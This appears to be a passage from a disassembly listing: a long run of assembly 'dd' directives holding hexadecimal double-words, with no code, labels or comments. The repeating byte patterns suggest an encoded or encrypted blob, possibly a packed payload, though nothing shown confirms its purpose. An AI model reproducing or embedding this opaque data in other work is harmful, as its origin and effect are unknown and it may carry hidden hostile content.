3D3790A0h dd 717F1361h, 0B37F9C0Eh, 2222FCBAh, 0B4351566h, 0AD5172D9h dd 443C18F7h, 0D4501766h, 0A4CDE1A3h, 8E350E4Bh, 60B7989Ah dd 0DE34125Dh, 0EDCAC599h, 0F36390EFh, 82CB1368h, 251E10E3h dd 5DB4060h, 65321566h, 2CD7DB34h, 0C663B0FFh, 26C5773Bh dd 0B97FD61Ah, 2C56CB6Eh, 0BE293851h, 112B9E69h, 9CDB1566h dd 0E2321566h, 22C1A979h, 66817DD9h, 0EA9816D7h, 537CE0A8h dd 0D7D9776Fh, 0A1FA099h, 71521361h, 0C953ECEDh, 250931E3h dd 0C1CDE960h, 8832128Fh, 0E662CC66h, 2B210932h, 6A6B90EFh dd 0A3D1368h, 44321567h, 27B7D39Ah, 5234124Ah, 88339569h dd 2CC71566h, 0F0E7E54Ch, 3C87EA9Ah, 6134127Dh, 44321563h dd 0DE606E81h, 1BB31A79h, 0E8321566h, 0E6638CDCh, 0DA8D1A0Ch dd 35B79807h, 8734125Dh, 443200E3h, 2222FC66h, 0A6B41566h dd 332BCD74h, 21C6FEC3h, 0BA0440C3h, 0EECA9403h, 828975B6h dd 0CF3FD0B6h, 0A7BB749Fh, 173C6E3Bh, 88321C8Fh, 64096066h dd 69EDD0C5h, 94F445E2h, 8E353963h, 4422FC34h, 83C11566h dd 0CDC9C4Fh, 0E1166A7Dh, 72981A08h, 0C85A3A21h, 0E4CF57D2h dd 931FA099h, 0C9CA1361h, 250931E3h, 19DA7560h, 0D6321566h dd 6A61F179h, 4432435Fh, 9069E6EDh, 3A8441B4h, 48DB741Ch dd 0AA321566h, 8FEA5421h, 0C8F05E7Bh, 0BB384A7Ah, 2220FCB6h dd 16161566h, 1228CFF2h, 67D13A6Fh, 4D06A20Eh, 0FFB445DBh dd 8832108Fh, 0F92A0566h, 0A7BB6D75h, 17350A27h, 9547593h dd 0ADFEDABCh, 2232156Bh, 9A818995h, 26F29796h, 24852179h dd 0A7F47490h, 17353963h, 115AE021h, 0ADD08D3Fh, 2232156Ah dd 0C0475FFFh, 0C48688E0h, 0DEF5785Bh, 391FA099h, 9CC71361h dd 8F0931E3h, 45B91A60h, 0DB321566h, 973DC599h, 8832157Ah dd 4420FC06h, 0C67E1566h, 5A396EC8h, 44318646h, 24A8CE8Ah dd 9AD10315h, 70B3E7E6h, 0F35390EFh, 4EDB1368h, 2F321566h dd 38162AACh, 4AF7F910h, 41B7D30Ch, 6534124Ah, 11339669h dd 0E0CE1566h, 0F5CF75A4h, 0A354759Fh, 0F84B98A7h, 88321576h dd 0DBC01796h, 2BE15B1Fh, 90123C70h, 6BE69882h, 6987EA07h dd 4234127Dh, 113C9F69h, 80DA1566h, 4321566h, 373BE1h dd 4F04D04Eh, 59B37335h, 256936BDh, 191690EBh, 0ED521361h dd 0E8E2EA07h, 25F19E00h, 2232018Fh, 8758E266h, 550C503Ch dd 0DB9DCB33h, 929E997Ah, 0F12E4634h, 0EDB79CD2h, 4B341B1Dh dd 223214EAh, 943DEC66h, 88321577h, 4432198Fh, 0D839A966h dd 0BE28DBDh, 1F2DD27Eh, 41B7D357h, 6534124Ah, 11321E8Fh dd 6488DF66h, 0A74C5EEFh, 0F9F2E086h, 0B7CC010Eh, 77CEEDB9h dd 432938D3h, 0A7BFE960h, 17352E42h, 883D9E69h, 4EDB1566h dd 5E321566h, 83374B4Fh, 664C291Bh, 24E2EA62h, 22321D8Fh dd 379A5E66h, 5FF3F83Ah, 7A88737Eh, 0A7BB746Eh, 173C6E0Fh dd 668C7306h, 8AB37345h, 0E453A982h, 161E10E3h, 81DB4A60h dd 0AF321566h, 38EE2673h, 0CD97C7EAh, 0D8C07D0Eh, 4DBF1AF8h dd 42321566h, 0F8A3E4E7h, 0E9CB2294h, 5F1FA099h, 72521361h dd 4BCCA269h, 0ACB79807h, 4B34125Dh, 22321DE8h, 13BC1A66h dd 0E8321566h, 4BE2EA07h, 223212EDh, 10B71A66h, 7D321566h dd 3F5F90EFh, 0A3521368h, 6ED289BEh, 0E9E09440h, 255305EDh dd 0E3790A0h, 0F87D1361h, 8832156Eh, 0A148AF96h, 33114F3Ah dd 0ED492A0Eh, 3DCDEDA1h, 42350E4Bh, 2232068Fh, 33CDC766h dd 9D4A1ECCh, 0F8A8AA04h, 530EEBDAh, 4E0E7917h, 8832108Fh dd 953AFF66h, 0A7BF91C5h, 17352E42h, 61E2EA9Eh, 4432156Ah dd 909F9273h, 17FC204Eh, 4DA33878h, 3FAB90EFh, 44521368h dd 0A954E2EDh, 74534517h, 683790A0h, 0DB751361h, 4A5C590Eh dd 3DCDED9Ch, 42350E4Bh, 0A354759Ah, 0F81D60B8h, 88321577h dd 0E815803h, 0C1879831h, 5908507h, 0E79B6943h, 0C1BF747Eh dd 24352E42h, 11321D8Fh, 39890066h, 913F3BF9h, 0CBE2EAF9h dd 11321572h, 6A4DFC63h, 90E17E06h, 0FB8853Fh, 88082223h dd 0BC58F801h, 3FAF90EFh, 0E4C71368h, 161E10E3h, 0E0CE5260h dd 873431ABh, 0F87EA9Fh, 7134127Dh, 4D74C6E7h, 4B606752h dd 4369EDD9h, 2A1690EBh, 61521361h, 44321572h, 7B0EB3CCh dd 0BC1F374Eh, 3DB0DA76h, 2E5786E4h, 61E2629Ah, 1132198Fh dd 40E5E66h, 1D0D802Ah, 0C9A4C8BFh, 0C1CD74E9h, 883E9769h dd 0CE3D1566h, 22321560h, 11329A69h, 0DBB1566h, 423C6EC7h dd 2232138Fh, 96781666h dd 4E1BBF7Eh, 431E10E3h, 0A63D4A60h, 1132156Ah, 88349C69h dd 0C93D1566h, 22321566h, 0AA52D90Eh, 89BB1AB2h, 0BC321566h dd 391FA099h, 9CCB1361h, 8F0931E3h, 45B81A60h, 0DB321566h dd 1BDBC599h, 69321566h, 4320219Ah, 519D3744h, 60B79CD1h dd 61341B1Dh, 44321575h, 474B01A0h, 8327FD8Eh, 3E8BDACBh dd 0E52F99FDh, 0E46CBD55h, 161E10E3h, 61524A60h, 4432156Fh dd 612406D5h, 3FF217D8h, 92B11A8Eh, 0AC321566h, 22321572h dd 677209D5h, 0AAB19723h, 427B3DE0h, 4ACBCBF1h, 56C7845Bh dd 0C65A743Ch, 4BACFC32h, 22321CE6h, 0C867566h, 325C4DD9h dd 0F1CD7426h, 24350E4Bh, 11321D8Fh, 4E085766h, 0ECCEC0FEh dd 6B798C7h, 7134125Dh, 0E9F3A269h, 0CB3DC599h, 22321567h dd 64B79C9Ah, 0E8341B1Dh, 4432078Fh, 1D302266h, 0D467BF4Ah dd 0B53EB8F7h, 3885B5CBh, 43820925h, 11321E8Fh, 0ABE1FD66h dd 619AB5BEh, 6AF8A9AEh, 3D3790A0h, 876D1361h, 443219E0h dd 24BA1A66h, 1E321566h, 883215E4h, 0FB547566h, 0A952B203h dd 709FA3A1h, 0A07A7D07h, 41DBC475h, 41321566h, 55B3958Ah dd 0A587EA9Eh, 0B134127Dh, 191690EBh, 0EEC71361h, 9BB81AB6h dd 0AD321566h, 22321568h, 40529D0Ch, 234259FFh, 7082EB8Eh dd 0A7BBB540h, 173C6E1Fh, 88BB1A06h, 0FD321566h, 6A562357h dd 0E8367F07h, 8822150Eh, 1D8B7566h, 0A22FDECAh, 715307AAh dd 5C97AD00h, 4432058Eh, 2E376D66h, 728BB73h, 9195A8E2h dd 31E0697Eh, 0D4B3730Fh, 706ABBD8h, 8822150Eh, 443BFC66h dd 583E1566h, 7F49F621h, 871DE0EFh, 443202E6h, 0A3547566h dd 0F8CA44BCh, 8832156Dh, 0D446EC34h, 0F0514B39h, 703A1964h dd 77C7150Ch, 432CACF3h, 0ABC7E060h, 163884E3h, 8820FC60h dd 866E1566h, 0BAB6C63Dh, 0B186C455h, 0CC09DC12h, 5C8F72CFh dd 689B90EBh, 973D1368h, 8832156Ch, 2FD39406h, 0A9141AEFh dd 0C1CD74ACh, 87367F93h, 443219EEh, 0A13D7566h, 11321566h dd 0FF53AE00h, 9AB37507h, 463AEE45h, 70EA9E00h, 8822150Eh dd 4437FC66h, 39961566h, 79C19C22h, 88323566h, 4439FC9Fh dd 311E1566h, 4840403Fh, 0E66D7530h, 0BC327F03h, 3C8B8099h dd 98CB1361h, 8F2DA0E3h, 0C5547560h, 434ED395h, 1B3F90EFh dd 0E2CE1361h, 50DBE926h, 52321566h, 1EAE672h, 5A2CD0E6h dd 0ABDD0AE9h, 0D35C2659h, 79BDF55Bh, 88320566h, 44349E69h dd 0A9521566h, 705375B0h, 8932150Eh, 2ECEE966h, 2AB11A66h dd 71321566h, 0EEF5A269h, 0BB53C4EDh, 252CACF3h, 0B21A60h dd 61321566h, 4432156Ah, 541F6098h, 1A8942AEh, 0C15C2E6Dh dd 5BAB90EFh, 0A63D1361h, 11321567h, 29879E9Eh, 0B1341256h dd 22CF88EDh, 3DB1361h, 0BA321566h, 4407478Ch, 54584207h dd 63AC52C9h, 0C2DF52F2h, 0F1879C27h, 0D7341247h, 0FE788EFh dd 98DB1361h, 0A0321566h, 0E16F6219h, 210E3A1Ah, 48287D76h dd 0AD57DC30h, 2232156Eh, 0DB9634F0h, 0C6B3BFC6h, 44CF88EDh dd 2CDB1361h, 0E5321566h, 0E42E6A65h, 680B215Fh, 2A09C8BAh dd 17BF1A5Eh, 0E8321566h, 4CE8959Ah, 22884707h, 10321566h dd 3389EBCh, 80B13172h, 223DFC62h, 8B351566h, 2B981F92h dd 8FDEFB1h, 1C64AAA8h, 11CB968Eh, 0B4039169h, 56DB1566h dd 70321566h, 96BD958h, 0DCAFDAh, 530C2AE2h, 4011E85Fh dd 0F6BB426Bh, 8836D2E7h, 0ABB11566h, 60E9262h, 35369C3Ah dd 88321A8Fh, 242C7666h, 84B59DF1h, 81C5F051h, 6F80879Eh dd 41D29C36h, 22321562h, 9636FDE5h, 16E3162h, 1452316Ah dd 0D1586DDCh, 19DB4D23h, 45321566h, 3C997544h, 43F675D3h dd 0D103E006h, 8FBE1A93h, 4B321566h, 223214E5h, 94BBE066h dd 8E35385Bh, 4432128Fh, 0BE750866h, 906A86A1h, 8832290Eh dd 60069E66h, 4236D1E5h, 0EC8ADDD5h, 0E93F9DB4h, 46ADD3E7h dd 0E4B32284h, 26457120h, 0A8166165h, 2074FBE7h, 0CCB32211h dd 26D017F9h, 88321D8Fh, 0F4DAC866h, 0AEE2EF18h, 719F7366h dd 36544F36h, 4153F82Eh, 4F4A531Bh, 7A63D563h, 0AC761640h dd 15F23846h, 5F1F330Dh, 1E5F6D20h, 88320EE8h, 4ADB7566h dd 84321566h, 0EBBB6807h, 0AD532BE7h, 0B9809541h, 22B31A48h dd 70321566h, 94A6599h, 5AF5314Ah, 716C0156h, 212CD2DDh dd 0D3EC1472h, 443B9469h, 2D521566h, 113215E0h, 953E066h dd 240C0188h, 9BF49402h, 1262AD2Bh, 9123112h, 0FC7FAC88h dd 36F49436h, 71567558h, 6189FAE6h, 44321569h, 0C777FE12h dd 0EECCC4FBh, 45A833D8h, 25127435h, 0A32A6399h, 35113162h dd 0DE6D3876h, 142383D8h, 4D4943Dh, 575A127Bh, 0BD16E3E7h dd 0B31B7076h, 0CA657538h, 1132156Ch, 7A48C4Dh, 70E22775h dd 7869CFE0h, 0ACBB749Eh, 8E3510A3h, 44349A69h, 44521566h dd 704CDAD8h, 883D9769h, 4EDB1566h, 0A4321566h, 0B88AAB5Fh dd 83987B5h, 4BCD90D0h, 223258E3h, 1CDB7566h, 0F1321566h dd 0F64422C7h, 62AF2F25h, 404D3B47h, 0ECB6FD07h, 22521566h dd 2D974CDCh, 113216E9h, 59B97366h, 413CFC07h, 0A93D1566h dd 1132157Ch, 8820FD06h, 42D01566h, 0EF3C25DCh, 5877A299h dd 11D4CDDFh, 488B30DDh, 55A7439h, 98321512h, 87DB316Ah dd 28321566h, 230F4D69h, 0EDE6DDABh, 8E6040DFh, 0C565E2CCh dd 51443162h, 5B94D4Ah, 8CF69642h, 3744FFE7h, 0AE3D4D4Ah dd 11321575h, 883F9B69h, 4CDB1566h, 34321566h, 0DED1535h dd 0E39D42AAh, 0C43D11B4h, 22321562h, 706A4506h, 972380EFh dd 0C4521361h, 0A93D3CAEh, 11321563h, 0FFC158DCh, 40587466h dd 32327D9Eh, 40CA1566h, 49B3F4EFh, 44321562h, 0A536FCE5h dd 986E316Ah, 8EDB3172h, 0E321566h, 604962CBh, 0F8327F24h dd 8832156Ch, 0C057B846h, 46DBD5Ch, 84CDF4CFh, 8E350BDFh dd 5D2EAB06h, 2CDB146Eh, 70321566h, 0BDB42C18h, 74E761BAh dd 68EAC875h, 94BB7428h, 8E3535C3h, 0FF61459Fh, 74551FA4h dd 15164967h, 62B34F3Dh, 12551FA4h, 63E9E93h, 90D49C30h dd 883211A0h, 40F49466h, 0A5321566h, 0F86E3152h, 88321568h dd 76219AF0h, 0F8B421B6h, 0AC00FB22h, 0CBDAD453h, 24321505h dd 223C9769h, 18DB1566h, 0C2321566h, 0BE46AE24h, 1C60E8A8h dd 5DDB9400h, 2E5A7404h, 0CD32156Fh, 0AC3D3152h, 11321567h dd 33DB89Fh, 4432156Dh, 2232138Fh, 95B7CC66h, 0A578FFBCh dd 5A9762D0h, 922B1F63h, 3576167Eh, 91383842h, 0F2370DD6h dd 0CB2CB011h, 11321568h, 0E21B05B1h, 339BA10Eh, 63E5A531h dd 0E903FC2Eh, 7003D257h, 6BC37D9Ah, 1EBB1566h, 35369442h dd 0C33C2C5Ah, 78D9943Dh, 2D791B5Fh, 113214ECh, 945AEC66h dd 0CD32152Ch, 0CBC7315Ah, 11321563h, 6C23F904h, 0ADF2257Bh dd 22321560h, 4EC72C39h, 0FD9C1D4Bh, 0CF60759Bh, 888D4E9Eh dd 7016C964h, 88321F8Fh, 0EAB31F66h, 5C00FCA8h, 9A8C3E62h dd 1623152h, 44361086h, 0E2B11566h, 35369262h, 89BF1A3Ah dd 0B1321566h, 1CE5D2E7h, 0D6B3065Dh, 0D9626317h, 0ABB3CA4Fh dd 73626317h, 2FE5FAE7h, 8752065Dh, 0CE3DD5D9h, 22321566h dd 0F1BB4507h, 88321163h, 44363866h, 26B51566h, 5BB4942h dd 8834FC42h, 1DC81566h, 2648E628h, 0F78D4231h, 0A1503A0Ch dd 1B36311Ah, 0C4F0943Ch, 1E503A0Ch, 883214E2h, 0F9B9E066h dd 24351FF7h, 1135FC93h dd 3631566h, 0F80BB1E8h, 0DDCDAC23h, 1BDBEA99h, 0C5321566h dd 3B3CA745h, 0F8E42717h, 0E4F22452h, 82DB4606h, 0F8321566h dd 6EE9087h, 0A83B3992h, 9544F7Eh, 251677BFh, 2232AE35h dd 0E2331566h, 94B916ECh, 40F69442h, 0DE321566h, 1E52DD56h dd 6165C4D1h, 44321561h, 0D6F7E304h, 4A8BC0C9h, 0D57B7D07h dd 70BB1566h, 636EA42h, 0A3527538h, 0BFF79529h, 0AC8B7307h dd 16CD7417h, 351E94E1h, 0DC9B7B1Eh, 1989463Eh, 0A32BEF1Ah dd 0C0205985h, 0BCC1941Eh, 457E6C18h, 0E3C74EBEh, 0F8521D8Fh dd 88321568h, 0C12DD085h, 0E69E15ECh, 0EA49AB9Ch, 26147D2h dd 75534ABBh, 3ABC1AA7h, 0F8321566h, 88321575h, 78E5506Bh dd 9DA45C7Eh, 957F09C8h, 0B59E7284h, 0E6C86EBh, 0DD0D9069h dd 7752EA99h, 610294DFh, 44321569h, 0BD349454h, 73D75D4Bh dd 347D9D89h, 25A05265h, 6069437h, 694C41EFh, 18B443Eh dd 754A6B32h, 2BDB4CAEh, 0A0321566h, 277D64F4h, 1EC246E0h dd 62E9236h, 0DB5C691h, 0B3D4D42h, 4432156Ah, 22349F69h dd 993D1566h, 88321566h, 443E9769h, 25DB1566h, 95321566h dd 0ABC2C7BFh, 70CDA181h, 0E6B14F42h, 0A863E062h, 88321566h dd 4795D4E7h, 0F33346ACh, 1295FCE7h, 89BB46ACh, 45B51A3Fh dd 0DA321566h, 1136F9E7h, 0BCBB1566h, 4436AB42h, 0D0331566h dd 10B11A38h, 74321566h, 0C5D59C31h, 223211A1h, 15DD9466h dd 0F321566h, 0CD6E315Ah, 42523172h, 0AE3D7406h, 0E9CB74B1h dd 690F9099h, 0A93D1361h, 1132156Ah, 88349C69h, 0C83D1566h dd 22321566h, 3C0F80EDh, 85DB1361h, 91321566h, 5D2B81BAh dd 0EFA92D34h, 0FAE44FE7h, 41F7805Fh, 0A63D1361h, 1132153Eh dd 88209569h, 49DB1566h, 53321566h, 0D8971483h, 0D9175CCh dd 0FD75E510h, 78162199h, 7136D1E5h, 0AC06EA07h, 40F69638h dd 22339469h, 46CE1566h, 883211D9h, 0C5F49466h, 2342EB2Ch dd 90DC9498h, 0D742EB2Ch, 0B89AFC93h, 4452EA99h, 4052CDD9h dd 88329469h, 256C1566h, 78162199h, 1136D1E7h, 0E8521566h dd 44329769h, 2ADA1566h, 0D6321566h, 62ABE26h, 1CE90A3Dh dd 26B11A07h, 77321566h, 0E95FA5DEh, 171621EDh, 0E1B3F6EFh dd 11321562h, 8836D6E7h, 58B51566h, 0CB524942h, 11321574h dd 0B1B7B909h, 3307A95h, 0AE1F0EDDh, 0D8528529h, 3988E3F9h dd 25098CDDh, 2EB9E007h, 0F3BB4742h, 8836D7E7h, 86B11566h dd 6269262h, 9A53753Ah, 1623162h, 44361086h, 0E2B11566h dd 35369262h, 8839FC3Ah, 17441566h, 6AAFA706h, 25DEC213h dd 0A5B7D264h, 44341254h, 0CB321566h, 11321569h, 0AB3C3B28h dd 87DD96C3h, 0C2AF8F30h, 0D6D9C549h, 8F390CE3h, 44321560h dd 29B71A66h, 0F8321566h, 88321560h, 2ADA2E9Bh, 9FB1F8FEh dd 173C6F87h, 9DB61A66h, 4B321566h, 223214EAh, 8CBFE966h dd 8E3F877Fh, 0F6FD9506h, 0DAE1EA07h, 12679099h, 81DB1361h dd 0AD321566h, 0C29736Eh, 24172A37h, 8B67A8E5h, 4B561361h dd 2230BAE4h, 0A852E966h, 0A2DD2925h, 158B7306h, 26FB95AEh dd 94F57407h, 8E351633h, 44321567h, 0A33D7506h, 11321566h dd 8FE8AB07h, 0AD53512Bh, 2232156Bh, 17B19339h, 216BFADFh dd 32AB5E04h, 445275FAh, 923DD4EDh, 8832157Fh, 4432018Fh dd 538FC366h, 0E7BAF506h, 809B1AA5h, 3AF3F7C0h, 6B8576FFh dd 94BF745Dh, 8E3C77ECh, 443A9669h, 0AC3D1566h, 11321564h dd 58CD7406h, 4432058Fh, 83B4F866h, 2DF5320h, 0C69DD20Eh dd 0E909F50Fh, 938798F8h, 1E341B1Dh, 883210E3h, 0FB3D7566h dd 9FBF749Fh, 173D1FA1h, 88229B69h, 4FDB1566h, 0ED321566h dd 138D8FCEh, 0CE171311h, 0ABB3ED64h, 52A413CFh, 0AC67E24Fh dd 0F8A413CFh, 4B6FFA67h, 223214E1h, 9861E066h, 0D368469Dh dd 44239969h, 2EDB1566h, 14321566h, 2897FB27h, 23DAF59h dd 0A9A4EC72h, 163884DBh, 9BDB7560h, 45321566h, 93A954EEh dd 5B7E9E99h, 60D814Ch, 32DD65B6h, 0A9549B7Ch, 0EE8B74A7h dd 70CDEA99h, 44209C69h, 2FDB1566h, 17321566h, 64AEB86h dd 656DCC9Dh, 0E76227F5h, 7052D557h, 48B37306h, 0C753F7F2h dd 2EBB118Ah, 1132AC42h, 79331566h, 4B6B14ECh, 223201E9h dd 113DFC66h, 36501566h, 77E96675h, 0B469C22Ch, 0F354E4CFh dd 61FA2567h, 44321561h, 27C13AFFh, 0F853B2B3h, 88321572h dd 1F90D4B8h, 0F5DCB615h, 8402F279h, 0B69C24DDh, 7BFF816h dd 2233AC37h, 0DF331566h, 0E9C7753Fh, 0CFB52199h, 0E6B13162h dd 10B31A62h, 71321566h, 243AFCA7h, 0AE3D53D6h, 11321564h dd 0B9537406h, 4DBD1AA7h, 42321566h, 84C28CDFh, 0E9537509h dd 25B71A2Ch, 2DCDEA99h, 113214EBh, 64B3E066h, 44321562h dd 0A31619EFh, 61CE3152h, 0BD6A7300h, 2254659Ah, 2BDBED06h dd 18321566h, 3860F2C7h, 0EA579AFEh, 0F1C58607h, 0D203CD57h dd 0B1CBCD57h, 430294E3h, 57B61A60h, 71321566h, 3EC59E00h dd 41DB744Ah, 0CE321566h, 87178359h, 8B477D30h, 0C56C581Eh dd 5A316088h, 0E4BB402Bh, 0D66FFDEFh, 5F8B7306h, 9F8973BCh dd 0D13974CDh, 88249069h, 0BD521566h, 0E5531AD0h, 16211CE3h dd 88321460h, 45B91A66h, 0DA321566h, 5CC4AF34h, 62B30BD5h dd 1EC06F1Fh, 6375DFE7h, 0D3B33706h, 9462935Dh, 50B9C467h dd 26F69642h, 10BC1A9Fh, 7D321566h, 22647507h, 9D98FDE7h dd 9BB1A3Eh, 61321566h, 44321575h, 0EF55ACA8h, 3FD482B8h dd 997F3650h, 2016D95Dh, 43EA6272h, 1393AA31h, 6FE30899h dd 5F14AB30h, 0E4B34C22h, 8E4FE41Ah, 16CE267h, 4BDB4A9Fh dd 51321566h, 5483F456h, 0B1B35AE5h, 0B2F1DAD1h, 0B75AB4C2h dd 9832152Bh, 5589317Ah, 77BCB5Dh, 7A2AD6E7h, 0CBBBC952h dd 619FEC3Dh, 4432156Dh, 3C9017A6h, 0D39BECB7h, 61C1B680h dd 4432156Ah, 0BEB131AFh, 438BE645h, 2D745BC4h, 6587A0EFh dd 2DDB1361h, 70321566h, 49F24E3Fh, 0CB0682CAh, 247474A7h dd 0AB60B820h, 96A71941h, 1ECE43EFh, 2ACE7BA7h, 0C2CE53E7h dd 90E1C4Dh, 6B46E920h, 44B340EDh, 0A930B59Ah, 74449426h dd 44821566h, 223C9369h, 1E521566h, 883215EBh, 44B61A66h dd 43321566h, 0FFDCFB5Bh, 38B71A88h, 4B321566h, 22321FE8h dd 1137FC66h, 75211566h, 0C53F35E3h, 0FFEFC858h, 85B71ABBh dd 0E8321566h, 5460AA00h, 21F4E9DDh, 923D7423h, 88321567h dd 0B0894693h, 6930F92Bh, 0FAB3C691h, 0F84F44C3h, 2CC19425h dd 0ABBE8306h, 903D4E78h, 8832156Fh, 9FB37306h, 0E5B91FB9h dd 15DE9607h, 301611EFh, 44321562h, 426AD367h, 11321D8Fh dd 0A9F35A66h, 66513BBBh, 223EFC40h, 1CED1566h, 9D1EB59Ah dd 3081E228h, 0AB535274h, 1613A0D3h, 7CDBE960h, 24321548h dd 2232058Fh, 6AF9B066h, 62F050D0h, 1FEE17E4h, 65EB4683h dd 0C7B973FEh, 76B4FC07h, 14C7EA99h, 0A11609EDh, 18DB11A2h dd 0E7321566h, 0C750E40Bh, 10BEEF24h, 23B9055h, 49CE1361h dd 4CDB16AEh, 5F321566h, 0CDF75BF5h, 0A57F5902h, 5F355469h dd 9F67C54Fh, 4BE92534h, 8CD7D42Bh, 36FDD0E7h, 0CFF334EAh dd 5F79465h, 89330A34h, 0C63D488Eh, 22321567h, 0D1F3EC93h dd 883FFC76h, 1F671566h, 99308EFAh, 5C77D652h, 87E20BF5h dd 44321CE5h, 8E887566h, 474CA0D6h, 4003743Ch, 4432138Fh dd 6FCD7666h, 987AB6D3h dd 8F211CFBh, 0CF617560h, 1F534EB5h, 11331566h, 89E69669h dd 0C5CB1566h, 9989AE58h, 0D6B71ADDh, 87321567h, 44321BE2h dd 223BFC66h, 451C1566h, 913285Eh, 0ADF7967Dh, 22321572h dd 49EE6C9Bh, 21BB7F66h, 0AE9E2B54h, 0EC9630AAh, 5CB0E221h dd 885D8D0Eh, 602E9C66h, 9B127ADDh, 15D19456h, 0CB604821h dd 73CEF6E7h, 0D1B35A27h, 44864686h, 934FEA7h, 12E75A8Dh dd 792C9C67h, 11339E69h, 0E8CB1566h, 0D285AD00h, 71534F34h dd 113211DDh, 3EC1466h, 80B3317Ah, 22321562h, 1139FC06h dd 4B441566h, 4AA4F3E9h, 1A1A8A3Dh, 0A4BB74D7h, 8E3534D3h dd 0B9AF9E9Fh, 42341266h, 6413AE00h, 8832108Fh, 0FDBD0966h dd 0DD539790h, 351E9455h, 0A7AC0B67h, 0C51619EDh, 223211A2h dd 10F39466h, 0E81D8B78h, 44BC1A06h, 0A3321566h, 3DAEADAFh dd 23D7455h, 44321564h, 425365D4h, 5B94507h, 8CF69642h dd 8AB97306h, 43BEC6E6h, 1120FC06h, 3E8F1566h, 1CFCBA21h dd 3B846254h, 20D7349Fh, 87DF9F36h, 44395B0Eh, 6269C66h dd 9419E03Eh, 8E35013Bh, 44321B8Fh, 231E3966h, 57860A48h dd 0EF82D255h, 85A8FFECh, 28DB1786h, 9B321566h, 9DD25606h dd 30DAA4BCh, 3FB71657h, 0E834126Eh, 136F9E5h, 1C643162h dd 0A03D7538h, 11321560h, 88329169h, 0CE3D1566h, 22321562h dd 15B0AE00h, 8DCAB807h, 5AF23E97h, 0B22A5563h, 3CFA1414h dd 0FAA20D26h, 8419E44Bh, 39B21A78h, 71321566h, 0E2FB9400h dd 443CFDC3h, 6DA41566h, 9627029Ch, 0BD1AA7CBh, 692C13A8h dd 0ABCE743Eh, 712E3122h, 0E588AC00h, 443CFC07h, 60311566h dd 0ED4BC81Ch, 0AA0FFE8Ah, 148C3416h, 0F9DBED07h, 0F8321564h dd 88321560h, 61CDDE3Fh, 0AB656693h, 15F59481h, 9321566h dd 44321189h, 60E9266h, 353E9C3Ah, 8832138Fh, 40C9BE66h dd 77643030h, 0D4B3F0EFh, 88321562h, 4436F8E7h, 0EB51566h dd 5BB4942h, 883AFC42h, 1A041566h, 0FC24F152h, 0D803754Ch dd 88399069h, 42DB1566h, 72321566h, 0B7862A3Ch, 2DA79E70h dd 4B341246h, 223214E6h, 1309E966h, 88839169h, 4BCE1566h dd 22321EEEh, 0C08D7566h, 0EE7FF301h, 25C6F8D8h, 2236AC37h dd 0D3B31566h, 0BD473B9Dh, 0AEB3DF67h, 17473B9Dh, 708A753Fh dd 0E84B987Eh, 255307D6h, 0DDCDAF34h, 0C01BEA99h, 883CFC3Ch dd 469B1566h, 9A0EE257h, 6DDD03E1h, 3C75D03Dh, 41F7985Dh dd 0A73D1361h, 0EECDEAF8h, 88339A69h, 17CE1566h, 223215DDh dd 4A6A4666h, 0A3D759Fh, 44321573h, 22321A8Eh, 7DB1A166h dd 3F0B9B0h, 0AB28C4C7h, 0F613F396h, 0DAB2423Ch, 5534A78h dd 437C09EBh, 0C3CDEC60h, 11279F69h, 9521566h, 0A1BC658Eh dd 223AFC7Eh, 31AD1566h, 0D2CDEF01h, 0CD53B982h, 251F28EBh dd 5B9ED60h, 69BB4442h, 4436D4E7h, 0E3B11566h, 353E9262h dd 354753Ah, 95B3739Ch, 42530583h, 2B3FAC00h, 0BCCD749Fh dd 80B34C42h, 22321562h, 1132058Fh, 7809B066h, 83078634h dd 0D061DD74h, 4D624680h, 0B8507D31h, 70BB1566h, 2222FC42h dd 7E831566h, 3F0C4AD6h, 65CF42DCh, 7F0816A7h, 8CB9740Eh dd 8E35159Bh, 44359469h, 0A63D1566h, 11321567h, 0BBCDEC9Ah dd 2850AB30h, 561B4CF1h, 486C1142h, 0E450D4E7h, 0CF3D4CF1h dd 2232156Ah, 11349C69h, 0E3D1566h, 44321566h, 0F0F90EDh dd 0F8C71361h, 88321574h, 0CB34E42Fh, 5954FD65h, 8A2870E5h dd 6F73C9F6h, 0A4E3FFD4h, 33B7169Fh, 0F8341278h, 88321560h dd 0DBF0AD37h, 0D4036F6Fh, 11321A8Fh, 0D45DF866h, 5C566D22h dd 0A3F61C87h, 0EF09EEC6h, 4E03E557h, 4CDBE557h, 14321566h dd 0EA65FB8h, 0EE4B09FCh, 0C63D75CBh, 2232157Fh, 1132018Fh dd 11868D66h, 0F7ADB96Fh, 9E2066FAh, 891EE012h, 359EF2EDh dd 8CB97339h, 20D2D407h, 11321B8Fh, 0CFAF3E66h, 46EB817Ah dd 59A663E7h, 122A2DEFh, 8F3A08E3h, 45BB1A60h, 0D7321566h dd 11349869h, 0EE521566h, 258557D8h, 223FF90Eh, 35369C66h dd 616C4D30h, 4432156Bh, 8E44FCCCh, 60D36504h, 0BB76E01Ah dd 4CB31ABBh, 2D321566h, 113217E8h, 25537566h, 9B8F409Fh dd 0A376F26Eh, 45D31C8Bh, 0D5DA1482h, 921FDD67h, 0CB528741h dd 11321569h, 44DC63ADh, 413BA58Fh, 6DFFCB65h, 0EEA7FCCDh dd 96C3152h, 443211A2h, 9FB1EC66h, 17353387h, 1DB61A67h dd 0B8321566h, 391F985Dh, 953D1361h, 883215EEh, 45BF2E9Ah dd 2D34127Dh, 11326EE2h, 0D7607566h, 10A3AD00h, 0B7BF2E07h dd 1E341278h, 883272E2h, 4DB91A66h, 42321566h, 628D06D6h dd 0E936BCBDh, 9F4F88EBh, 0A43D1368h, 1132156Fh, 0EED5A706h dd 516DE2E7h, 2DE1EA07h, 11321CE7h, 5DB87566h, 8C7F9ED9h dd 7263745Dh, 48FD9C3Fh, 0A5B79C9Fh, 4B34126Ah, 22321FEBh dd 0EAB97566h, 5ABDD6E7h, 0AD5338B6h, 22323714h, 11389D69h dd 8DDB1566h, 0E4321566h, 526633D6h, 0CA4F88EBh, 82DB1368h dd 60321566h, 0B7E824E9h, 1259257Bh, 87E1EA42h, 44321DE6h dd 0AD3D7566h, 11321566h, 698F9607h, 44341240h, 22B49169h dd 0F8CB1566h, 8832156Eh, 1DD57B17h, 4E56E957h, 307B905Dh dd 0C3D1361h, 44321551h, 223A9F69h, 9D3D1566h, 88321564h dd 0AC527406h, 22321568h, 2B475859h, 43B783B9h, 0E994087Dh dd 0CAB2C8FDh, 0A63D4D92h, 0D0974ACh, 4235037Bh, 22049069h dd 0F8C71566h, 77CDEA46h, 